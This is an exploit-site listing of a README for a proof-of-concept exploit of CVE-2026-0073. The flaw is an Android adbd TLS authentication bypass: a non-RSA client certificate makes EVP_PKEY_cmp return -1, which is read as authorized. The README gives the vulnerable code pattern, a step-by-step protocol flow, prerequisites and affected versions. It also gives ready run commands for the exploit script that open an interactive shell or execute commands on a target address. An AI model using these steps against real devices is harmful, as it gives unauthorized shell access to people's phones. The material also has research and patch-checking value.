Sploitus

Exploit for Incorrect Implementation of Authentication Algorithm in Google Android

githubexploit Β· 2026-05-06

Exploit Code

README181 lines
## https://sploitus.com/exploit?id=014019EE-0C48-576A-908B-4B1C07A97C50
```
  ╔══════════════════════════════════════════════════════════╗
  β•‘              CVE-2026-0073  //  ADBD BYPASS              β•‘
  β•‘    Android ADB Daemon TLS Authentication Bypass PoC      β•‘
  β•‘          EVP_PKEY_cmp type confusion exploit              β•‘
  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
```

# CVE-2026-0073 β€” Android ADBD TLS Auth Bypass

### `EVP_PKEY_cmp()` type confusion β†’ unauthorized ADB shell

[![Python 3.10+](https://img.shields.io/badge/Python-3.10+-3776AB?style=for-the-badge&logo=python&logoColor=white)](https://python.org)
[![CVE-2026-0073](https://img.shields.io/badge/CVE--2026--0073-CRITICAL-DC3545?style=for-the-badge)](https://vulners.com/cve/CVE-2026-0073)
[![Android](https://img.shields.io/badge/Android-14+-3DDC84?style=for-the-badge&logo=android&logoColor=white)](https://android.com)
[![License](https://img.shields.io/badge/License-MIT-yellow?style=for-the-badge)](LICENSE)



---

## πŸ”₯ Overview

A **critical authentication bypass** in Android's ADB daemon (`adbd`) allows any attacker on the local network to obtain a **full shell** on a target device **without user authorization**.

The vulnerability exists in `adbd_tls_verify_cert()` within `daemon/auth.cpp`, where `EVP_PKEY_cmp()` is used as a boolean. When the stored key is **RSA** and the presented TLS client certificate carries a **non-RSA key** (EC P-256 or Ed25519), `EVP_PKEY_cmp()` returns **-1** (type mismatch), which is **truthy in C/C++**, so `authorized = true`.

```c
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 is truthy!
    authorized = true;
}
```

| `EVP_PKEY_cmp()` return | Meaning | Truthy in C? | Result |
|:-:|---|:-:|---|
| `1` | Keys match | βœ… | Authorized (correct) |
| `0` | Keys differ | ❌ | Rejected (correct) |
| **`-1`** | **Type mismatch** | **βœ…** | **Authorized (BUG)** |

---

## ⚑ Quick Start

### Install dependencies

```bash
pip install cryptography
```

### Run the exploit

```bash
# Interactive shell
python adb_tls_auth_bypass.py  

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
```

### Force a specific key type

```bash
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
```

> By default, the script auto-tries **EC P-256 β†’ Ed25519 β†’ EC/TLS 1.2** until one succeeds.

---

## 🎯 Exploit Flow

```
   Attacker                          Target (adbd)
      β”‚                                    β”‚
      │──── TCP connect ──────────────────►│
      │──── CNXN (cleartext) ────────────►│
      │◄─── STLS (TLS upgrade request) ──│
      │──── STLS reply ──────────────────►│
      β”‚                                    β”‚
      │════ TLS 1.3 Handshake ════════════│
      β”‚  (EC P-256 client cert presented)  β”‚
      β”‚  EVP_PKEY_cmp(EC, RSA) β†’ -1       β”‚
      β”‚  -1 is truthy β†’ authorized=true   β”‚
      │════════════════════════════════════│
      β”‚                                    β”‚
      │◄─── CNXN (device info) ──────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (shell I/O) ──────►│
      β”‚                                    β”‚
    [FULL SHELL ACCESS]                    β”‚
```

---

## πŸ“‹ Prerequisites

| Requirement | Details |
|---|---|
| **Developer Options** | Enabled on target device |
| **Wireless Debugging** | Enabled (or ADB over TCP on port 5555) |
| **Stored RSA key** | Device must have been USB-paired at least once (`/data/misc/adb/adb_keys`) |
| **Network access** | Attacker must reach the adbd TCP port |

> ⚠️ **Important:** The RSA key must be in `/data/misc/adb/adb_keys`, which is populated via **USB debugging pairing** (accepting the "Allow USB debugging?" dialog). Wireless debugging pairing (`adb pair`) stores keys in a **different location** (`adb_known_hosts.pb`) and does NOT satisfy this requirement.

---

## πŸ›‘οΈ Affected Versions

- **Android 14** (AOSP) β€” βœ… Confirmed vulnerable
- **Android 15** (AOSP) β€” Likely vulnerable (unpatched builds)
- Vendor-specific builds may vary (Samsung One UI, Pixel, etc.)

### How to check the patch level

```bash
adb shell getprop ro.build.version.security_patch
```

---

## πŸ§ͺ Testing Environment

Tested and confirmed working on:

```
Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
```

---

## πŸ”§ Improvements Over Original

This fork includes several enhancements:

- βœ… **Multi-key fallback** β€” Auto-tries EC P-256 β†’ Ed25519 β†’ EC/TLS 1.2
- βœ… **Ed25519 support** β€” Alternative key type for broader compatibility
- βœ… **TLS 1.2 fallback** β€” Different client cert flow (sent during handshake vs post-handshake)
- βœ… **Enhanced certificate** β€” Proper X.509 extensions (BasicConstraints, KeyUsage)
- βœ… **Windows compatible** β€” Uses threaded I/O instead of `select()` for cross-platform support
- βœ… **Increased timeouts** β€” Better reliability on slower networks
- βœ… **Verbose diagnostics** β€” Detailed protocol trace with `-v` flag

---

## πŸ“ Project Structure

```
CVE-2026-0073-Android-ADBD-bypass-POC/
β”œβ”€β”€ adb_tls_auth_bypass.py    # Main exploit script
└── README.md                 # This file
```

---

## ⚠️ Disclaimer

This tool is provided for **authorized security testing and educational purposes only**. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse of this software.

---

## πŸ“š References

- [CVE-2026-0073 β€” MITRE](https://vulners.com/cve/CVE-2026-0073)
- [Android Security Bulletin](https://source.android.com/docs/security/bulletin)
- [OpenSSL `EVP_PKEY_cmp` documentation](https://www.openssl.org/docs/man3.0/man3/EVP_PKEY_cmp.html)
- [ADB Protocol Reference](https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/main/protocol.txt)

---



**If this helped your research, drop a ⭐**